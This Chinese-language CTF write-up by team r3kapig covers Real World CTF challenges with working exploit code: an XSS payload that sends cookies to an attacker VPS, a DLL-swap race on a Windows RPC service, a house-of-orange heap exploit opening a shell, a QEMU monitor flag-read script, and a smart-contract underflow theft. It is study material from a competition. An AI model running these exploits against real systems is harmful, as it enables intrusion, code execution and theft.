我们是由Eur3kA和flappypig组成的联合战队r3kapig。上周末,我们参与了长亭科技举办的Real World CTF 并取得了第三名的成绩。题目很有趣,所以我们决定把我们做出来的题目的writeup发出来分享给大家。
另外我们战队目前正在招募队员,欢迎想与我们一起玩的同学加入我们,尤其是熟悉密码学或浏览器利用的大佬。给大家递茶。
首先是源码泄露www.zip
然后登陆时发现whitelist里有一个外网的ip
18.213.16.123
于是访问flask的默认端口5000
发现服务开放在debug模式
于是审计代码中app.debug的部分
发现redis lua
其中用python3.6的新特性
并且可以控制session拼接恶意代码
调用redis.call给我们自己命名的session赋值
并且这里由于@login_requried写上面了
所以并没有作用
于是进行未授权访问和操作
关键代码如上
这里可以按要求构造json,如下
http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715:8889/a%22}}
(利用/\去bypass//不能用)
题目会请求vps
在vps上放一个index.html打cookie
http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715%22}}
请求即可
题目提供了一个上传PE文件的服务,可以上传PE文件并在沙箱(sandbox.exe)中执行。
题目关键逻辑是server.exe, 逆向了一下大概是一个RPC服务,可以通过RPC服务开启一个authentication服务,并且可以通过管道与authentication服务进行交互。
authentication服务提供了两种认证方式,一种是账号密码认证,一种是插件认证。只要认证通过的话就可以拿到flag。
账号密码的认证是通过比对c:\ctf\password.txt跟选手提供的密码是否一致,而插件认证则是提供插件(dll)所在的相对路径,并比较插件文件sha256是否为某个特定的值,如果是的话就通过LoadLibrary 来调用插件的auth函数。
由于有沙箱,所以我们并不能直接读到password进行账号密码认证,所以我们尝试攻击插件认证,我们主要的思路就是自己写一个伪造的插件,然后放置在可写的目录中。然后复制真正的插件也到该可写的目录中,然后提供真正插件的路径给authentication服务。我们race这样一个情形:利用真正的插件让sha256的检查通过,接着直接覆盖真正的插件为我们的伪造插件,使得LoadLibary load我们自己伪造的插件,从而直接通过认证,拿到flag。so called Code Replacement Attack
#include <windows.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> #include <rpc.h> #include <midles.h> #include "Source_h.h" #include "resource.h" #include "Source_c.c" // header file generated by MIDL compiler typedef unsigned __int64* LPQWORD; #pragma comment(lib,"Rpcrt4.lib") void __cdecl main(int argc, char **argv) { setvbuf(stdout,0,_IONBF,0); RPC_STATUS status; RPC_WSTR pszStringBinding = NULL; unsigned long ulCode; // Use a convenience function to concatenate the elements of // the string binding into the proper sequence. status = RpcStringBindingCompose(0, (RPC_WSTR)L"ncalrpc", 0, (RPC_WSTR)L"ZygoteEndpoint", 0, &pszStringBinding); printf_s("RpcStringBindingCompose returned 0x%x\n", status); wprintf_s(L"pszStringBinding = %s\n", pszStringBinding); if (status) { exit(status); } // Set the binding handle that will be used to bind to the server. status = RpcBindingFromStringBinding(pszStringBinding, &rpc_handle); printf_s("RpcBindingFromStringBinding returned 0x%x\n", status); if (status) { exit(status); } printf_s("Calling the remote procedure\n"); HANDLE in=0; HANDLE out=0; unsigned __int64 test=0; DWORD tmp=0; DWORD outsize=0; wchar_t *target=L"C:\\Users\\realworld\\AppData\\LocalLow\\nonick.dll"; HRSRC hres=FindResourceA(0,MAKEINTRESOURCEA(IDR_DLL1),"DLL"); HGLOBAL hgres=LoadResource(0,hres); DWORD size = SizeofResource(0, hres); char* res = (char*)LockResource(hgres); RpcTryExcept { char *tmpbuf=0; DWORD t=0; do { t++; if (tmpbuf) { delete tmpbuf; tmpbuf=0; } RemoteOpen((LPVOID*)&test); CopyFile(L"C:\\ctf\\auth_plugins\\fail_plugin.dll",target,0); Spawn((VOID*)test,(__int64 *)&in,(__int64 *)&out); DWORD option=2; WriteFile(in,&option,4,&tmp,NULL); char plugin_path[] = "..\\..\\Users\\realworld\\AppData\\LocalLow\\nonick.dll\x00"; DWORD len = lstrlenA(plugin_path) + 1; WriteFile(in, &len, 4, &tmp, NULL); WriteFile(in, plugin_path, len, &tmp, NULL); HANDLE hfile= INVALID_HANDLE_VALUE; Sleep(15); // This is crucial while (hfile==INVALID_HANDLE_VALUE) { hfile =CreateFile(target,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,0); } WriteFile(hfile,res,size,&tmp,0); CloseHandle(hfile); ReadFile(out, &outsize, 4, &tmp, NULL); tmpbuf=new char[outsize]; RtlSecureZeroMemory(tmpbuf,outsize); ReadFile(out, tmpbuf, outsize, &tmp, NULL); tmpbuf[tmp]=0; RemoteClose((LPVOID*)&test); } while (*tmpbuf=='N'); printf_s("t=%d,Received:%s.\n",t,tmpbuf); printf_s("CTX value :%llx\n",test); printf_s("Handle value:%llx,%llx\n",in,out); } RpcExcept(( ( (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) && (RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) && (RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) && (RpcExceptionCode() != STATUS_BREAKPOINT) && (RpcExceptionCode() != STATUS_STACK_OVERFLOW) && (RpcExceptionCode() != STATUS_IN_PAGE_ERROR) && (RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION) ) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH )) { ulCode = RpcExceptionCode(); printf_s("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode); } RpcEndExcept // The calls to the remote procedures are complete. // Free the string and the binding handle status = RpcStringFree(&pszStringBinding); // remote calls done; unbind printf_s("RpcStringFree returned 0x%x\n", status); if (status) { exit(status); } status = RpcBindingFree(&rpc_handle); // remote calls done; unbind printf_s("RpcBindingFree returned 0x%x\n", status); if (status) { exit(status); } exit(0); } /*********************************************************************/ /* MIDL allocate and free */ /*********************************************************************/ void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len) { return(malloc(len)); } void __RPC_USER midl_user_free(void __RPC_FAR * ptr) { free(ptr); }
看起来这是个非预期解
在 18e0的位置有 kvm的虚拟代码,从内存中dump下来,然后16bit 的形式在IDA中打开分析
guest的功能从菜单里面可以看到,漏洞点在:
top在到达0xa000后,如果在分配一个0x1000大小的chunk,就会使得0xb000+0x1000+0x5000变成0x10000,而这个是个16bit的架构,从而chunk的基地址变成0,而0是guest代码的起始位置,那么我们就可以覆盖guest的代码了。
然后就是host的利用了,uaf,限制了fastbin的使用,直接house of orange
from pwn import * local=0 pc='./kid_vm' remote_addr="34.236.229.208" remote_port=9999 aslr=True libc=ELF('./libc.so.6') if local==1: context.log_level=True p = process(pc,aslr=aslr) gdb.attach(p,'c')#'b *0x555555555083') else: p=remote(remote_addr,remote_port) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8,'\x00')) def choice(index): sn(str(index)) def allocate(size): choice(1) sa(":",p16(size)) def update(index,content): choice(2) sa(":",p8(index)) sa(":",content) def allocatehost(size): choice(4) sa(":",p16(size)) def updatehost(size,index,content): choice(5) sa(":",p16(size)) sa(":",p8(index)) sa(":",content) def freehost(index): choice(6) sa(":",p8(index)) if __name__ == '__main__': #int overflow for i in range(0xb): allocate(0x1000) # modify update(0,p16(0x1)*0x800) allocate(0x226) f=open('./mem','rb') # the guest code data=f.read() # free and clean data=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x01\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3" # free and not clean , lead to UAF data2=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x02\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3" update(0xb,data) p.clean() allocatehost(0x200) p.clean() allocatehost(0x200) p.clean() allocatehost(0x200) p.clean() allocatehost(0x200) p.clean() #trigger UAF to leak freehost(0) freehost(2) update(0xb,data2) updatehost(0x20,0,'1'*0x20) arena_addr=u64(ru("\x00\x00")) libc_addr=arena_addr-0x3c4b78 libc.address=libc_addr lg("libc",libc_addr) heap_addr=u64(ru("\x00\x00"))-0x420 lg("heap",heap_addr) allocatehost(0x200) update(0xb,data) # house of orange payload='/bin/sh\x00'+p64(0x61)+p64(0)+p64(heap_addr+0x230)+p64(0)*1+p64(1) payload=payload.ljust(216,'\x00')+p64(heap_addr+0x250) updatehost(len(payload),0,payload) payload=p64(0)*3+p64(0x211)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(libc.symbols['system'])*20 updatehost(len(payload),1,payload) updatehost(0x20,2,p64(0)+p64(heap_addr+0x10)*3) allocatehost(0x200) allocatehost(0x200) allocatehost(0x200) p.interactive()
一个最新的qemu,查看过devices发现没有自定义devices,根据start.sh发现没有重定向monitor,说明是可以进入monitor的,pwntools中发送\x01可以发送ctrl + a,所以\x01c可以进入monitor或者退出monitor。
简单查看后,发现用来执行命令的migrate命令被去掉了,其他命令主要是设备的添加删除等,之后发现qemu存在cdrom,通过info block可以查看到,ide1-cd0是cdrom设备,对应linux里的/dev/sr0,如果直接cat /dev/sr0会报错为没有medium,猜想为没有插入cd盘,于是通过change ide1-cd0 ./flag尝试将flag作为镜像插入,但是发现cat /dev/sr0虽然没有报错为没有介质,但是也没有输出,之后尝试使用更长的输入,发现要足够长才能够读出内容。
继续尝试monitor命令发现,通过drive_mirror可以复制文件,通过chardev,backend为tty可以append内容,于是思路为复制文件,之后通过tty添加内容直到足够长,最后通过/dev/sr0读出。
exp:
from time import sleep from pwn import * from hashlib import sha1 context(os='linux', arch='amd64', log_level='info') DEBUG = 0 if DEBUG: p = process(argv='./start.sh', raw=False) else: p = remote('34.236.229.208', 31338) def pow(): p.recvuntil('that starts with') s = p.recvuntil(' and')[:-4] p.recvuntil(') starts with ') num = p.recvuntil(':')[:-1] p.info('s %s' % s) p.info('num %s' % num) for i in range(100000000): sha1_ins = sha1() cur = s + str(i) sha1_ins.update(cur) #p.info('digest %s' % sha1_ins.hexdigest()) if sha1_ins.hexdigest().startswith('000000'): p.recvuntil('work:') p.sendline(cur) return raise Exception('digest not found') def main(): if not DEBUG: pow() p.recvuntil('# ') ctrl_a = '\x01c' p.send(ctrl_a) # in monitor # copy flag p.recvuntil('(qemu)') p.sendline('change ide1-cd0 flag') p.recvuntil('(qemu)') p.sendline('drive_mirror ide1-cd0 anciety_flag') p.recvuntil('(qemu)') p.sendline('change ide1-cd0 flag') # append content to my flag p.recvuntil('(qemu)') p.sendline('chardev-add serial,id=s1,path=anciety_flag') p.recvuntil('(qemu)') p.sendline('device_add pci-serial,id=ss,chardev=s1') p.recvuntil('(qemu)') p.send(ctrl_a) # now do apppend content #p.recvuntil('#') sleep(2) payload = 'a' * 20 p.sendline('for i in `seq 1 500`; do echo %s > /dev/ttyS4; done' % payload) sleep(2) # change image back p.send(ctrl_a) p.recvuntil('(qemu)') p.sendline('device_del ss') p.recvuntil('(qemu)') p.sendline('chardev-remove s1') p.recvuntil('(qemu)') p.sendline('block_job_cancel ide1-cd0') p.recvuntil('(qemu)') p.sendline('change ide1-cd0 anciety_flag') p.recvuntil('(qemu)') p.sendline(ctrl_a) # read flag p.sendline('cat /dev/sr0') p.recvuntil('#') p.sendline('cat /dev/sr0') flag = p.sendline('cat /dev/sr0') p.success('flag is in %s' % flag) p.interactive() if __name__ == '__main__': main()
题目有两个合约,分别是wallet合约和token合约,wallet合约的owner可以添加transaction。而普通用户则可以通过一个id调用对应的的transaction和删除owner添加的transaction。
wallet在处理删除的逻辑中有一个漏洞,那就是他判断了transactions.length>=0才可以删除,删除操作是加transactions.length--, 也就是说transactions.length==0时执行操作会导致length为-1。
另外wallet 在处理添加transaction是先将incoming transaction assign 给一个全局变量tx,如果判断不是owner就退出,并没有清空全局变量tx。
另外由于transactions.length==-1,所以我们可以call 任何id的transaction,又因为tranctions数组跟tx全局变量都是在storage,所以我们可以先通过 添加transaction将一个调用token合约的transfer函数的transactions写到tx,然后通过精巧的构造id使得transactions[id]正好取到tx,就可以直接转账。拿到flag
exp如下
var walletAddr=0; var tokenAddr=0; for (i = 0; i < web3.eth.getBlock('latest').number; ++i) { b = web3.eth.getBlock(i); if(b.transactions != '' && walletAddr==0) { var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress; console.log('Found contract: ', target); walletAddr=target continue; } if(b.transactions != '' && walletAddr!=0){ var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress; console.log('Found contract: ', target); tokenAddr=target break; } } function mine_once(){ miner.start(); admin.sleep(2); miner.stop(); } eth.defaultAccount="0x4e5fc5cd21923c49569ea2a745f19168e7aff6e6" var walletABI = [{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"deleteTransaction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"rmTrusted","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"addOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"imOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"m","type":"string"}],"name":"publishMessage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"target","type":"address"},{"name":"amount","type":"uint256"},{"name":"isDelegate","type":"bool"},{"name":"data","type":"bytes"}],"name":"submitTransaction","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"addTrusted","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"executeTransaction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"m","type":"string"}],"name":"Message","type":"event"}] var tokenABI=[{"constant":false,"inputs":[{"name":"owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"grantToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"Transfer","type":"event"}] var walletContract = web3.eth.contract(walletABI); var tokenContract = web3.eth.contract(tokenABI); var walletInstanse=walletContract.at(walletAddr); var tokenInstanse=tokenContract.at(tokenAddr); function flagcb(error, result){ if (error) {console.log(error);} else{ console.log(result.args.m); } } var flagEvent = walletInstanse.Message({fromBlock: 0, toBlock: 'latest'}); flagEvent.watch(flagcb); function step1(){ personal.unlockAccount(eth.defaultAccount,"123") walletInstanse.deleteTransaction( "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", {gas: '3000000'}, function(e,v) { console.log(e,v); console.log("fuck"); setTimeout(step2, 20000); } ); // mine_once(); } function step2(){ personal.unlockAccount(eth.defaultAccount,"123") walletInstanse.submitTransaction( "0x00000000000000000000000045e34b9945cdcf63ca892c56f9107b3d79388777", 0, 0, "0xa9059cbb0000000000000000000000004e5fc5cd21923c49569ea2a745f19168e7aff6e600000000000000000000000000000000000000000000000000000000000f4711", {gas: '3000000'}, function(e,v) { console.log(e,v); setTimeout(step3, 20000); } ); // mine_once(); } function step3(){ personal.unlockAccount(eth.defaultAccount,"123") walletInstanse.executeTransaction( "0xf5bc84c9aadd2755ca7f2e959df1e40ded1650daadeffdc272741b3a7c4306a8", {gas: '3000000'}, function(e,v) { console.log(e,v); setTimeout(step3, 20000); } ); // mine_once(); } step1()
给了一个cache文件,通过查看ccls代码可以发现cache文件是可以加载的。
通过ccls::Deserialize函数进行cache文件的加载,之后通过ToString可以读出文件内容,得到一个cache的json文件,包括以下类似内容(全文太长 https://paste.ubuntu.com/p/Xc3rJK9Y5G/):
"usr2func": [{
"usr": 1676767203992940432,
"detailed_name": "bool std::Solution::leafSimilar(std::TreeNode *root1, std::TreeNode *root2)",
"qual_name_offset": 5,
"short_name_offset": 20,
"short_name_size": 11,
"kind": 6,
"storage": 0,
"hover": "",
"comments": "",
"declarations": [],
"spell": "38:8-38:19|59306568996318058|2|514",
"extent": "38:3-46:4|59306568996318058|2|0",
"bases": [],
"derived": [],
"vars": [4479758688836879116, 5761950115933087185, 8289061585496345026, 8002124853696534022, 9726294037205706468, 5268924143191533837, 5026390867008208078, 6655996420844398086, 168502829666687781],
"uses": [],
"callees": ["40:8-40:10|1935187987660993811|3|8484", "40:15-40:18|9823770695318396488|3|4", "40:8-40:10|1935187987660993811|3|8484", "40:15-40:18|9823770695318396488|3|4"]
根据spell和extend的内容,可以确认文本,通过int b位置的comment,写有flag is here,通过还原可以得到flag。